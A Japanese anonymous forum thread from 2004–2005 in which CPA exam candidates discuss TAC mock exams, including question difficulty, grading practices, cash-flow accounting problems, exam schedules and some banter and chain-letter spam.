監査⇒解答欄がないって・・・どういうこと？・・なめんなよ・・・確か、短答全答練も監査で問題が生じていたような・・・
経済⇒難しかったっす。
商法⇒大原の応用テキストでまったく問題なし。多分みんなできてるとおもいますが。

296 ：291：04/06/25 06:59 ID:???

>>292
7月の後半だったかと。
自分で答え合わせする等で、発奮して頑張ってください！
>>294
TAC生ですよ。
企業再編と債権者保護手続きは大事だと、小飯塚さんが言ってましたよー。
>>295
全体的には自分も簡単だったとかと。
ただ、このような問題だとミスしたらアウトだと思い逆に慎重になりました。

297 ：一般に公正妥当と認められた名無しさん：04/06/25 07:02 ID:???

＞296
財表はどうよ？

298 ：一般に公正妥当と認められた名無しさん：04/06/25 07:33 ID:2mfhDGhN

材表は論文まとめから出してたよな、あれは点くれ問題だろ。

299 ：291：04/06/25 07:39 ID:???

>>297
第三問
問1と問2は、素直に出来ると思います。
収益費用中心観と資産負債中心観に関しては、論文まとめでやってたので何とか。

第四問
全て川村さんが個人的に大事と言った分野からの出題。
問1
短答の知識で十分解答できる範囲かと思います。
問2
(1)については、論文まとめでやってるので出来ると思います。
(2)については、難しかったです。どこに表示するか知らなかったので、両者の本質的(形式的？)な違いを考えて解答しました。
問3
典型論点なので完璧に出来ないとまずいと思います。

自分の感想なので、参考にするかどうかは自己責任でお願いします。

300 ：一般に公正妥当と認められた名無しさん：04/06/25 07:43 ID:???

監査むずかしくなかた？一問めのほう

301 ：一般に公正妥当と認められた名無しさん：04/06/25 07:47 ID:2mfhDGhN

俺も表示場所しらねーけど、本質に着目したよ、皆同じようなモンなんだな。

302 ：291：04/06/25 08:18 ID:???

>>300
中間監査はやっておく必要ありと言われてましたが、やってなければ難しかったと思いますよ。

303 ：一般に公正妥当と認められた名無しさん：04/06/25 08:21 ID:dLtwy4+7

>>300
悪いが監査は簡単だったと思う。
経済はむずかった

304 ：一般に公正妥当と認められた名無しさん：04/06/25 08:28 ID:2mfhDGhN

中間は大本命だろ、やらないやつはヤバイ。

305 ：一般に公正妥当と認められた名無しさん：04/06/25 09:56 ID:???

監査が簡単だったと言ってる奴ら
答案返ってきたらその採点の精度の
低さにびっくりするぞ。
なんてたって解答どおりの答えを
基準にバイトが採点するからな。
大方意味があってても×されることなんてよくある。

306 ：一般に公正妥当と認められた名無しさん：04/06/25 23:42 ID:???

>>305
そこなんです！
採点についてぼちぼち話し合いましょう。

１本試験は大方意味があってる解答に点くれますよね？

２本試験は全体の印象で点をつけるだけで、各問で点数をふらない説
　は正しいんですか？

307 ：一般に公正妥当と認められた名無しさん：04/06/25 23:52 ID:???

ＴＡＣのバイトの採点は論外だが、本試験はある意味もっとシビア。
大学の試験と混同しているお気楽学生をよく見かけるが、
素人に単位を与えるための試験と、職業的専門家としての教授が
職業的専門家を選ぶための採点は話にならない差がある。
らしいことを書いていても、本質を理解しているかで判断される。
職業的専門家としての教授は手ごわい。

308 ：一般に公正妥当と認められた名無しさん：04/06/26 00:21 ID:hOKgNShF

バイトじゃなくて受かりたてとかマイナーな講師が採点してなかった？
模範解答と同じじゃないとはねられるのは確かだけど

309 ：一般に公正妥当と認められた名無しさん：04/06/26 00:34 ID:???

経営なんて千差万別の答案がかかれそうですよね。
そもそも模範解答がないとか、そういうこともありそうじゃないですか？

310 ：おすぎです。：04/06/26 00:39 ID:???

商法の先生が元試験委員から聞いた話では、
答案の全体を見て50点満点で評価して×２をするそうです。

311 ：一般に公正妥当と認められた名無しさん：04/06/26 10:44 ID:???

え、なになに監査で解答欄がないって？

312 ：一般に公正妥当と認められた名無しさん：04/06/26 12:04 ID:???

>>311
そんなわけないですよ。ガセですよ。
何人もの人が目を通してチェックして答練を実施しているのですから。
そうしないと高いお金払ってまで受ける価値ないですよ。そうですよね？皆さん。

313 ：一般に公正妥当と認められた名無しさん：04/06/26 12:20 ID:???

そのとおりだ。
６行の解答欄を設けてくれなんていう話が出るわけがない。

314 ：一般に公正妥当と認められた名無しさん：04/06/26 13:00 ID:???

わらた

315 ：一般に公正妥当と認められた名無しさん：04/06/26 22:52 ID:???

財表第四問　問２（２）
賃貸借処理のリース料って、営業支出だから営業活動でしょ？
簿記のC/Fでそうやってないっけ？

316 ：一般に公正妥当と認められた名無しさん：04/06/27 01:19 ID:jN4J1XYJ

他校生だが、監査の「低廉報酬で監査を請け負う事の問題点は？」という問いの答、このように書いたんだがどうよ？

「低廉な監査報酬による監査業務の請負が大手を振るうと、監査法人としては
監査コストを必然的に削減せざるをえず、そのため監査契約の締結は柔軟に行えるように
なるものの監査の質が低下するという弊害を招きかねない」

317 ：一般に公正妥当と認められた名無しさん：04/06/27 01:27 ID:/K8tnpm2

法人化のメリットの逆を書いたよ俺は、監査の実行性が害されるって事と、
監査人の独立性が害される可能性があるとかそんな感じ。

318 ：一般に公正妥当と認められた名無しさん：04/06/27 01:49 ID:nIYNa/xP

たとえば26000円で引き受けることもあるが、このような愚行は新人の給料を確保できない結果、就職浪人が増えて困ると書きますた。

319 ：一般に公正妥当と認められた名無しさん：04/06/28 04:34 ID:???

商法の問2ってなに？

株式交換？

320 ：一般に公正妥当と認められた名無しさん：04/06/28 07:12 ID:nmHrVVXL

交換と吸収合併か？？

321 ：一般に公正妥当と認められた名無しさん：04/06/28 17:15 ID:gm4smzmk

漏れは吸収はつけずに単に「合併」としたが。
総会用の書類にわざわざ"吸収”なんてつけんだろと思って。

322 ：一般に公正妥当と認められた名無しさん：04/06/28 17:20 ID:mvdkub6k

わかってないじゃん

吸収合併と交換
新設合併と移転

323 ：一般に公正妥当と認められた名無しさん：04/06/28 17:57 ID:G91ONjou

>>322
わかってないのはお前だろw
ネタじゃなかったらやばいよ

324 ：一般に公正妥当と認められた名無しさん：04/06/28 18:02 ID:???

もう答えで照るよ。

「株式交換、合併」

吸収合併はだめでしょう。

325 ：一般に公正妥当と認められた名無しさん：04/06/28 18:07 ID:???

322は哀れな短答落ち（ｗ

326 ：一般に公正妥当と認められた名無しさん：04/06/28 19:24 ID:7iNKEBxI

簿記が思ってた以上に悪かった

327 ：一般に公正妥当と認められた名無しさん：04/06/28 19:40 ID:AYz+Nn5Q

脚本家の野沢尚さんが死亡　
だって

328 ：一般に公正妥当と認められた名無しさん：04/06/28 20:14 ID:???

>>324
合併もしくは吸収合併と書いてある。
ちゃんと嫁

329 ：一般に公正妥当と認められた名無しさん：04/06/28 20:31 ID:???

ひろ本って今年ﾗｽﾄ？

330 ：一般に公正妥当と認められた名無しさん：04/06/28 20:58 ID:???

監査の解説の講師なんてひと？　なんかつまらない解説だった。
河村はいつも通りでもっとつまらなかったけど。

331 ：一般に公正妥当と認められた名無しさん：04/06/29 05:46 ID:GzNM79US

ふー吸収合併でOKなんだね、良かった良かった。

332 ：一般に公正妥当と認められた名無しさん：04/06/29 15:51 ID:ng4cv/4r

Ｏハラ生なんだけど、タック生はインデックス運用って知ってるの？
あと、胎教担当者も、機能がうちと全然違うんだよね。
うちのは、連結機能と境界維持機能って習ったんだけど。
同じ試験委員の同じ本を参考にしてるはずなのになぜ違うんだ・・・

333 ：一般に公正妥当と認められた名無しさん：04/06/29 18:45 ID:???

>>332
インデックス運用なんて知らん。
だから、市場ポートフォリオに近似したポートフォリオを組み、そのポートフォリオと安全資産を組み合わせて運用すると書いたよ。
それと胎教担当者は、TACのでいいと思う。
山倉の講義でもそんな風に言ってたから。

334 ：一般に公正妥当と認められた名無しさん：04/06/29 19:12 ID:???

インデックス運用やっているよ、しらねーと言う奴はアノマリーの例をチェックしろ。

それより、簿記のキャッシュの備品の処理の意味が分からないので、どなた詳しく教えてください。

335 ：一般に公正妥当と認められた名無しさん：04/06/29 19:13 ID:sXuXLr64

やばいさげちゃった、あげ。

336 ：一般に公正妥当と認められた名無しさん：04/06/29 19:21 ID:???

>>334
本当だ。そこまで細かくやって無かったよorz

解説のように売却価額をXと置いて求めれば解けると思われ。

337 ：一般に公正妥当と認められた名無しさん：04/06/29 19:29 ID:sXuXLr64

>>336
いやそれは建物かと・・・・・・・

338 ：一般に公正妥当と認められた名無しさん：04/06/29 19:35 ID:sXuXLr64

又後で来ます、３３６さんとりあえずありがとう。

339 ：一般に公正妥当と認められた名無しさん：04/06/29 19:36 ID:???

ｆｇｆ

340 ：一般に公正妥当と認められた名無しさん：04/06/29 21:03 ID:jnx3ZZgB

あ

341 ：一般に公正妥当と認められた名無しさん：04/06/29 21:18 ID:3Zn21AT1

>>337
ごめん、商品を備品として仕入れたってやつか。

連結本来の仕分け
有形固定資産の取得による支出５００/現金５００

実際の仕分け（TN社)
仕入れ支出５００/現金５００
現金７００/営業収入７００

実際の仕分け（NM社)
有形固定資産の支出７００/現金７００

これの修正仕分けが解説にのってる。

342 ：一般に公正妥当と認められた名無しさん：04/06/30 04:25 ID:pSIQrAAt

>>341
ありがとう！！！！！！！！！！！！！

343 ：一般に公正妥当と認められた名無しさん：04/07/01 22:43 ID:hIRuQ9eC

すいません、簿記の連結キャッシュの社債の処理なんですけど、
あの　有価証券の償還による収入/社債償還支出　ってのはなんで出るんですか？？
あれの判断はNM社の個別キャッシュを見て判断するって事ですか？？　詳しく教えてください。

344 ：一般に公正妥当と認められた名無しさん：04/07/01 22:56 ID:???

>>343
質問の内容が良くわからんが、その仕訳がでるのは社債の満期が
到来してるから。償還額に関するキャッシュフローが個別財務表上
どちらにもあるはずだから連結上は相殺する必要があるだろ。

345 ：一般に公正妥当と認められた名無しさん：04/07/02 16:17 ID:mOSkQ5iE

>>344
なるほど満期ですか、見落としていました！！ありがとうございました！！

346 ：一般に公正妥当と認められた名無しさん：04/07/04 18:50 ID:o+PIMcFw

横浜校の者なんですが、
解説の時間割を教えていただけませんか？

347 ：一般に公正妥当と認められた名無しさん：04/07/04 23:42 ID:???

>>346
明日と明後日の18時からで、
５日が簿記・財表・原型・民法。
６日が監査・商法・ＫＡ・経済。

348 ：一般に公正妥当と認められた名無しさん：04/07/05 02:19 ID:NDHn6rlM

ありがとうございました！

349 ：一般に公正妥当と認められた名無しさん：04/07/05 10:15 ID:wYZI1PRQ

全答錬の答案って講師が採点してるのかと思ったらそうじゃなかったんだな。

補習所で全答錬の採点してる奴が何人かいたもんな。

こんな状況お前ら甘受しちゃうわけ？

例えば去年、机を並べて勉強していた奴らが、お前らが一年かけて培った
努力の結晶である全答錬答案を、補習所講義聞きながらコソコソ採点
されちゃっているんだよ？

もー、俺はぁー、涙出ちゃうね。
こんな現実見ちゃうと…。

でも、現実はどうあれ、お前ら頑張れよ。
合格しさえすれば次のステージに進めるし、努力はきっと何らかの形で報われるはずだからさ。

350 ：一般に公正妥当と認められた名無しさん：04/07/05 12:05 ID:4mn0ql88

まあ良いだろ全党連はあくまで全党連だし。

351 ：一般に公正妥当と認められた名無しさん：04/07/05 12:28 ID:???

試験委員が院生に採点させてたらむかつくけどな。

352 ：一般に公正妥当と認められた名無しさん：04/07/05 13:13 ID:???

させてますけど、なにか？

353 ：一般に公正妥当と認められた名無しさん：04/07/06 23:54 ID:exyjcCMc

答案はいつ返ってくるの？

354 ：一般に公正妥当と認められた名無しさん：04/07/07 00:05 ID:???

>>353
7月28日だったはず。

355 ：一般に公正妥当と認められた名無しさん：04/07/07 21:57 ID:/29TKeoa

在外子会社の連結キャッシュで為替換算調整勘定をどうたらこうたら…
ってやつって授業で習ったの？
今年は簿記の授業出てないから知らなかったよ…。

356 ：一般に公正妥当と認められた名無しさん：04/07/07 22:03 ID:j/zRIYzW

>>355
習ってないからこの問題で解き方をマスターしてくださいだって。

357 ：一般に公正妥当と認められた名無しさん：04/07/08 00:05 ID:8qnkN5Kw

だよねぇ。
ありがとう。

358 ：一般に公正妥当と認められた名無しさん：04/07/08 07:52 ID:aeCBdylL

タックだと講義でやったよ>>355

359 ：一般に公正妥当と認められた名無しさん：04/07/08 08:04 ID:sW18p8mV

>>358
どの講師がやったの？
李と木戸はやってないよ。
テキストも取り扱ってないし、全答練解説でもやってないと言ってたけど？

360 ：一般に公正妥当と認められた名無しさん：04/07/08 08:09 ID:aeCBdylL

李先生でやった、少なくともテキストにあるししっかり読めよ。

361 ：一般に公正妥当と認められた名無しさん：04/07/08 08:14 ID:aeCBdylL

とりあえずテキストにあるのは確認してくれ、俺は嘘は言ってないから。

362 ：一般に公正妥当と認められた名無しさん：04/07/08 08:20 ID:sW18p8mV

テキスト見たけど見つかんなかった。
何ページ？

363 ：一般に公正妥当と認められた名無しさん：04/07/08 08:28 ID:aeCBdylL

在外子会社のキャッシュってあるでしょそこの間接法

364 ：一般に公正妥当と認められた名無しさん：04/07/08 08:38 ID:aeCBdylL

嘘じゃないでしょ？？

365 ：一般に公正妥当と認められた名無しさん：04/07/08 08:39 ID:sW18p8mV

ごめん、載ってたよorz
あそこから連結貸借対照表の、資産・負債にかかる為調を修正していくのか。
思いつかなかったよ。

366 ：一般に公正妥当と認められた名無しさん：04/07/08 08:40 ID:aeCBdylL

よかった、まあ本番で出きれば良いんだし調度よかったよね、
それじゃーねー。

367 ：一般に公正妥当と認められた名無しさん：04/07/08 08:41 ID:sW18p8mV

ほんと、ごめん。
レジュメにも無かったし、例題(子会社だけのは載ってるけど)が無いから分からんかったよ。

368 ：一般に公正妥当と認められた名無しさん：04/07/08 08:42 ID:sW18p8mV

さんくす！
論文で出たら確実に解けるようにしく

369 ：一般に公正妥当と認められた名無しさん：04/07/08 12:19 ID:???

>>349
補習所行ってる講師は何人もいる。

370 ：一般に公正妥当と認められた名無しさん：04/07/08 14:17 ID:???

>>369
349はそういうことをいいたいんじゃないと思われ
補修所で採点するほどの片手間で採点されているっていうことをいいたいと思われ

371 ：一般に公正妥当と認められた名無しさん：04/07/08 21:50 ID:???

教えて君でｽﾏｿだが、全答練の解説会で配布物とかありましたか？
あと、山っていつもらえるんですか？
教えてください。

372 ：一般に公正妥当と認められた名無しさん：04/07/08 22:10 ID:???

>>370
「全答練の答案って講師が採点してるのかと思ったらそうじゃなかったんだな。」
って最初に書いてるんだから>>369氏の解釈で合ってると思われ升。
この文章を普通に読んだら講師≠採点者と考えてるとしか思えない。

373 ：一般に公正妥当と認められた名無しさん：04/07/15 00:20 ID:m662h7dH

2回目は700点くらいいってりゃ300位入りますかね？
1回目より平均高そうですけど

374 ：一般に公正妥当と認められた名無しさん：04/07/26 23:41 ID:???

二回目の返却いつ？

375 ：一般に公正妥当と認められた名無しさん：04/07/26 23:53 ID:???

２８日

376 ：一般に公正妥当と認められた名無しさん：04/07/27 00:02 ID:4jvjvTe5

>349 ：一般に公正妥当と認められた名無しさん：04/07/05 10:15 ID:wYZI1PRQ
>全答錬の答案って講師が採点してるのかと思ったらそうじゃなかったんだな。
>
>補習所で全答錬の採点してる奴が何人かいたもんな。

残念ながら、俺が知ってる「採点者｣は去年監査法人就職に漏れた奴と
3年学生合格の奴で、専門学校講師ではなかった。

どこの専門学校かは知らないけど。

377 ：一般に公正妥当と認められた名無しさん：04/07/28 04:06 ID:???

結果発表本日ｷﾀﾙ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

378 ：一般に公正妥当と認められた名無しさん：04/07/28 11:36 ID:VdB1FkeL

お前等どうでしたか？？俺はこれから取りに逝きます。

379 ：一般に公正妥当と認められた名無しさん：04/07/28 14:20 ID:???

タックって採点雑じゃない？大原のほうが採点丁寧で親切とおもう。

380 ：一般に公正妥当と認められた名無しさん：04/07/28 16:25 ID:???

Ｏみたいに優秀者の割引きとかあるの？図書券のみ？
１位はいくらもらえんの？

381 ：一般に公正妥当と認められた名無しさん：04/07/28 17:41 ID:???

>>380
今年で受かるつもりの椰子にとっては
図書券のほうがいいと思われ

382 ：一般に公正妥当と認められた名無しさん：04/07/28 18:20 ID:???

監査論の優秀答案採点まちがってる。穴埋め問題の②１９３条ノ２ってちゃんと
書いてあるのに。カタカナは×ですか。まぁ１と見間違えたんだろうけど。

383 ：一般に公正妥当と認められた名無しさん：04/07/28 18:26 ID:???

>>382
「ノ」じゃなくて「の」だからね。
こういう部分は公表されているフォーム通りに形式的に採点するんだよ。
CF計算書や損益計算書を挙げる順番も違ってたら×だし。

本試験もそうなんじゃないかな。

384 ：一般に公正妥当と認められた名無しさん：04/07/28 18:36 ID:???

ところで全答練2回目上位200人の平均点はどれくらいですか。

385 ：一般に公正妥当と認められた名無しさん：04/07/29 00:22 ID:eVZnJnHj

全党錬の全部の平均点教えてくれ

386 ：一般に公正妥当と認められた名無しさん：04/07/30 14:47 ID:???

客観的なことは直接聞けばいいじゃん？
そんなことじゃ合格しても就職できないぞ！

387 ：Ｏ：04/07/30 23:29 ID:???

商法、あれじゃ復習できないじゃん。
何が悪くて何が良かったんだか・・・

ＴＡＣって普段の答練も商法は採点箇所ごとに点数ふってくれないの？

388 ：一般に公正妥当と認められた名無しさん：04/07/31 07:20 ID:???

戦後の法は平仮名、これ常識
監査のせんせいにとって常識かどうかしらぬが。

389 ：一般に公正妥当と認められた名無しさん：04/08/01 11:58 ID:???

つーかテキストに平仮名で書いてあるじゃん、なんで間違えるのか分からないな。

390 ： ◆lDRxxXXXXw ：04/08/30 15:33 ID:???

test

391 ：携帯推進委員長【秒】ゆっきぃ【殺】 ◆8.Yucky9Vk ：04/09/06 07:50 ID:???

ﾃｽﾄ

392 ：一般に公正妥当と認められた名無しさん：04/09/30 07:57:55 ID:???

テスト

!base

393 ：一般に公正妥当と認められた名無しさん：04/10/25 01:01:33 ID:???

平成17年の全答練について語りましょう。
とりあえず出題予想でも・・・・

394 ：一般に公正妥当と認められた名無しさん：04/10/25 01:09:53 ID:???

随分気が早いな。。と釣られてみる

395 ：一般に公正妥当と認められた名無しさん：05/02/04 22:42:01 ID:M4o3Tovk

●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
これを見た人は確実に【不合格】です。これをコピペでどこかに３回貼れば回避できます。
これは本当です。やらないと一年無駄になります

396 ：一般に公正妥当と認められた名無しさん：05/02/09 01:53:57 ID:rSbvRL43

TACの全答練って本当に昨年度の合格者が採点してたんだ。
知り合いとかが自分の答案採点してるかもしれないんだね。
嫌な感じだな。受けるのやめようかな。

397 ：一般に公正妥当と認められた名無しさん：05/02/09 09:50:26 ID:???

タックの全答練の１回目と、大原のそれにあたる答連はいつ頃ですか？
タック生でも大原受けれますよね？

398 ：一般に公正妥当と認められた名無しさん：05/02/12 15:55:07 ID:???

どうなんだ？

399 ：一般に公正妥当と認められた名無しさん：05/02/12 16:44:04 ID:???

TAC全答練：4月と6月
大原公開模試：6月と7月
ＬＥＣ公開模試：6月と7月（8月）

400 ：一帆 ◆jbWuJtwOtc ：05/02/12 17:22:58 ID:IilmL0Sg

400!

401 ：一般に公正妥当と認められた名無しさん：05/02/12 18:07:22 ID:???

>>399
大原は７月１回のみ。

402 ：一般に公正妥当と認められた名無しさん：05/02/12 19:07:50 ID:???

今年も本支店でるかな。

403 ：一般に公正妥当と認められた名無しさん：05/02/12 21:28:40 ID:???

＞ＬＥＣ公開模試：6月と7月（8月）
イラネ

404 ：一般に公正妥当と認められた名無しさん：05/02/13 00:17:15 ID:???

ＬＥＣ模試。受講生１００人

405 ：一般に公正妥当と認められた名無しさん：05/02/13 00:26:06 ID:???

>>403
何で？
受験者数を水増しするから？

406 ：４０３：05/02/14 22:56:41 ID:???

劣苦だから

407 ：一般に公正妥当と認められた名無しさん：05/02/15 01:08:01 ID:F2AIv2Ab

士補が私怨で採点してるってこともあるの？

408 ：一般に公正妥当と認められた名無しさん：05/02/15 09:14:35 ID:???

補習所で授業中に内職でやってるという噂を聞いたことがある

409 ：一般に公正妥当と認められた名無しさん：05/02/15 11:36:28 ID:???

↑と、短答落ちが申しております

410 ：一般に公正妥当と認められた名無しさん：05/03/07 22:21:55 ID:duMunKSm

本支店会計　後Ｔ/Ｂ作成型

411 ：一般に公正妥当と認められた名無しさん：05/03/07 22:58:46 ID:???

ついに、、
あと一ヶ月か。。

412 ：一般に公正妥当と認められた名無しさん：05/03/07 23:10:08 ID:???

なんで４がつなんだよっ

413 ：一般に公正妥当と認められた名無しさん：05/03/07 23:14:52 ID:???

もうすこし日程に余裕がほしかった・・・。

414 ：一般に公正妥当と認められた名無しさん：05/03/07 23:48:57 ID:iwEOy3G9

どうせ簿記は異常に難しい問題が出るんだろ？

415 ：一般に公正妥当と認められた名無しさん：05/03/08 01:05:40 ID:???

つか、本試験の4ヶ月以上前の時期にやる意味はあるのかと・・・
本番は1年の3分の１以上先だよ・・

416 ：一般に公正妥当と認められた名無しさん：05/03/08 08:42:30 ID:???

てーか、新しいスッドレ立てないか？？

417 ：会計士講座生：05/03/08 14:30:35 ID:???

そういや論文は8月下旬、結果発表は11月だっけな。
長いなぁー

418 ：一般に公正妥当と認められた名無しさん：05/03/08 21:44:00 ID:???

TAC全答練：4月と6月
大原公開模試：6月と7月
ＬＥＣ公開模試：6月と7月（8月）

タックだけ短刀前に第１回を実施するのには意味があるのだろうか？

419 ：一般に公正妥当と認められた名無しさん：05/03/08 21:48:20 ID:???

金儲け

420 ：一般に公正妥当と認められた名無しさん：05/03/08 23:09:38 ID:???

回転率上げてね

421 ：一般に公正妥当と認められた名無しさん：05/03/08 23:12:27 ID:???

うん。頑張る＾＾

422 ：一般に公正妥当と認められた名無しさん：05/03/08 23:14:51 ID:???

ちがくて、タックが担当前に全答練やるのは担当落として回転率上げるため

423 ：一般に公正妥当と認められた名無しさん：05/03/09 01:17:44 ID:???

タック最悪だな

424 ：一般に公正妥当と認められた名無しさん：05/03/09 06:47:03 ID:???

>>418
むしろ４月ではなく３月にやってほしいのだが・・・。

425 ：一般に公正妥当と認められた名無しさん：05/03/09 14:16:54 ID:???

なんで？但東前にやっても実力は発揮できなくないか？特に1年目。

426 ：一般に公正妥当と認められた名無しさん：05/03/09 14:36:53 ID:???

もっと担当模試を充実させたほうがいい希ガス

427 ：一般に公正妥当と認められた名無しさん：05/03/09 14:38:33 ID:???

>>426
全答練を入れて１０回もあるのに？

428 ：一般に公正妥当と認められた名無しさん：05/03/12 00:42:33 ID:???

今年の日程を教えてくれ。

429 ：一般に公正妥当と認められた名無しさん：05/03/12 22:27:36 ID:???

サバイバル答練

430 ：一般に公正妥当と認められた名無しさん：05/03/13 00:43:43 ID:???

まぁ、第1回で名前載せればほぼ受かるよ。
ここで名前のセル人は相当調整ができてるから、担当特化のあともスムーズに論文に繋がる。

これは去年のスレだからあたらし井野に変えないか？

431 ：一般に公正妥当と認められた名無しさん：05/03/13 02:16:52 ID:???

そうでもないだろ

432 ：一般に公正妥当と認められた名無しさん：05/03/13 15:38:55 ID:???

もう申し込み受け付けしてる？

433 ：一般に公正妥当と認められた名無しさん：05/03/13 17:00:03 ID:???

>>404
ＬＥＣっていまや主力講師でも受講生一桁だよ
母集団100人もいないって

434 ：一般に公正妥当と認められた名無しさん：05/03/13 17:11:11 ID:???

サバイバルＬＥＣ

435 ：一般に公正妥当と認められた名無しさん：05/03/13 19:16:04 ID:???

今日パンフレットもらってきた
第1回は、平日クラス4/12～4/14、土日クラス4/16～4/17だよ

436 ：一般に公正妥当と認められた名無しさん：05/03/13 22:55:44 ID:ldkDjFML

ﾁｬﾝﾋﾟｵﾝが終わって、次は全答練か・・・。

但東の勉強も並行してやらなきゃ本試験にまにあわん

437 ：一般に公正妥当と認められた名無しさん：05/03/19 19:23:36 ID:???

準備はいかがかな

438 ：一般に公正妥当と認められた名無しさん：05/03/20 23:24:19 ID:???

全答練出題予想してくれ

439 ：一般に公正妥当と認められた名無しさん：05/03/20 23:57:20 ID:zf5IPgwM

今年の受験生はほとんど短答不合格者だろ。

440 ：一般に公正妥当と認められた名無しさん：2005/03/21(月) 12:26:26 ID:???

まさみたいな初受験者もたくさんうける

441 ：一般に公正妥当と認められた名無しさん：2005/03/21(月) 12:56:45 ID:???

胆石が大きくなってしまって緊急入院しました。
今年は断念します。みんな頑張って。

442 ：一般に公正妥当と認められた名無しさん：2005/03/21(月) 12:58:47 ID:???

>>441
それはもったいない・・・。早く治して新試験入門生をびびらすくらいの実力つけてくれ

443 ：一般に公正妥当と認められた名無しさん：2005/03/21(月) 12:59:13 ID:???

漏れはインフルエンザこじらせて去年断念したなぁ・・・

444 ：441：2005/03/21(月) 22:25:54 ID:???

44２さん、４４３さん、今年合格して将来立派な会計士になって下さいね。
応援しています。
私も早く退院して来年に向けてがんばります。

445 ：443：2005/03/21(月) 22:49:40 ID:???

>>444
ありがとう。あんたの分まで死ぬ気で頑張ってくるよ！
早く良くなってくれよな！

446 ：一般に公正妥当と認められた名無しさん：2005/03/21(月) 23:15:24 ID:fQFI7ksa

皆に幸あれ

447 ：斉藤のみぎうで：2005/03/22(火) 18:56:50 ID:???

斉藤博明著「ビジネスの論理」通称「ビジ論」はすでにＴＡＣ生のバイブルとなりつつある。
自習室で学習する多くの受験生の傍らには、この赤い表紙の本が備えおかれている。
休憩室での話題は、「ビジ論」についての議論で持ちきりだ。
また、受講生に対しどのように指導すればいいのか、という講師なら誰もが持つ疑問にも、
この本は適切なアドバイスを与えてくれる。実際、講義の合間には講師たちが熱心にこの本に
見入っている。
もはや、斉藤氏はＴＡＣに関わるすべての者にとって、神のような存在なのだ。

「私はいつも限界に向き合い、格闘し、限界を超えて生きてきた。」
資格の学校TACの学院長・斉藤博明氏が自らの人生を振り返り、自身の原点と経営戦略を語る珠玉の一冊。

448 ：一般に公正妥当と認められた名無しさん：皇紀2665/04/01(金) 06:49:51 ID:???

しんすれたてない？

449 ：一般に公正妥当と認められた名無しさん：皇紀2665/04/01(金) 06:50:17 ID:???

あげ

450 ：一般に公正妥当と認められた名無しさん：2005/04/03(日) 00:57:02 ID:???

全答練まで２週間きった

451 ：一般に公正妥当と認められた名無しさん：2005/04/03(日) 01:04:25 ID:???

で、この時期に全答練受ける意味はあるの？

452 ：一般に公正妥当と認められた名無しさん：2005/04/03(日) 01:17:28 ID:???

>>451
なんでないと思う？本試験レベルの問題を解いたことがない１年目の
俺には大いに意味あるとふんでるんだが。
手薄な経営を復習するいい機会。
もっとも、短刀に不安のある香具師はやめたほうがいいと思われるが

453 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 20:25:35 ID:???

明日から全党れんんあおの二なんだこの静けさは

454 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 20:34:42 ID:???

>>453
受けないって香具師が多いんだが・・・
おまいさんは受けるのかい？

455 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 20:46:21 ID:???

断然トップを取るだろうと思われてた奴が回避するみたいだからな・・

456 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 21:36:06 ID:+wxFRXhd

↑それはまさのことかい？

457 ：４５３：2005/04/11(月) 22:26:43 ID:???

俺は受けるぞ！

458 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 22:48:40 ID:???

土日に受けるわ。

459 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 22:50:03 ID:???

まあ彼はここで燃え尽きる訳にはいかないからな
本番の短答・論文両方満点取るために、ここはパスして充電だろう

460 ：Mark Panther：2005/04/11(月) 23:29:24 ID:???

今年の平均は各科目何点くらいかね

461 ：一般に公正妥当と認められた名無しさん：2005/04/11(月) 23:41:59 ID:+wxFRXhd

↑本試験みたことある？短答はともかく論文で満点なんて百パー不可能だよ。

462 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 12:28:10 ID:???

講師が「全答練一回目はTAC講師採用試験以外の何物でもないから、受ける価値なし」とかいってると、やる気なくすよな・・・。俺は週末受けるけど。

463 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 14:57:46 ID:Np3fbh1l

阿呆な講師だな。ほっとけ

464 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 15:03:27 ID:vWfTZyiQ

お前ら頑張れ！！撤退した俺が応援しちゃう！！俺は内定なんとか貰えたよ、
お前らは合格して会計士になれ、俺の分も頑張って監査してくれ。

465 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 19:43:45 ID:???

今日は思ったよりはできたからよかった

466 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 20:13:09 ID:???

何番以内に入ると名前載るの？

467 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 20:49:09 ID:???

自己株式のなんて書いた？

468 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 21:30:52 ID:???

土日ｸﾗｽの人が居るから内緒!!

469 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 21:41:24 ID:IQC2i1i+

株主間の富の移転、資産ととらえ簿外資産が生じないように時価

470 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 21:56:30 ID:???

短答でどうせ落ちるのにわざわざｵｵﾊﾗから受けに来てる奴いたなw手を広げすぎて落ちたって奴をよく話に聞くけどw

471 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:00:18 ID:???

まだ受けてない人のために配慮するなんておまいらオトナだな。

472 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:05:30 ID:???

自己株式は資産負債中心観で資産計上

473 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:16:54 ID:???

自己株の論点なんて始めて聴いた

474 ：一般に公正妥当と認められた名無しさん：2005/04/12(火) 22:22:20 ID:???

ええ！？
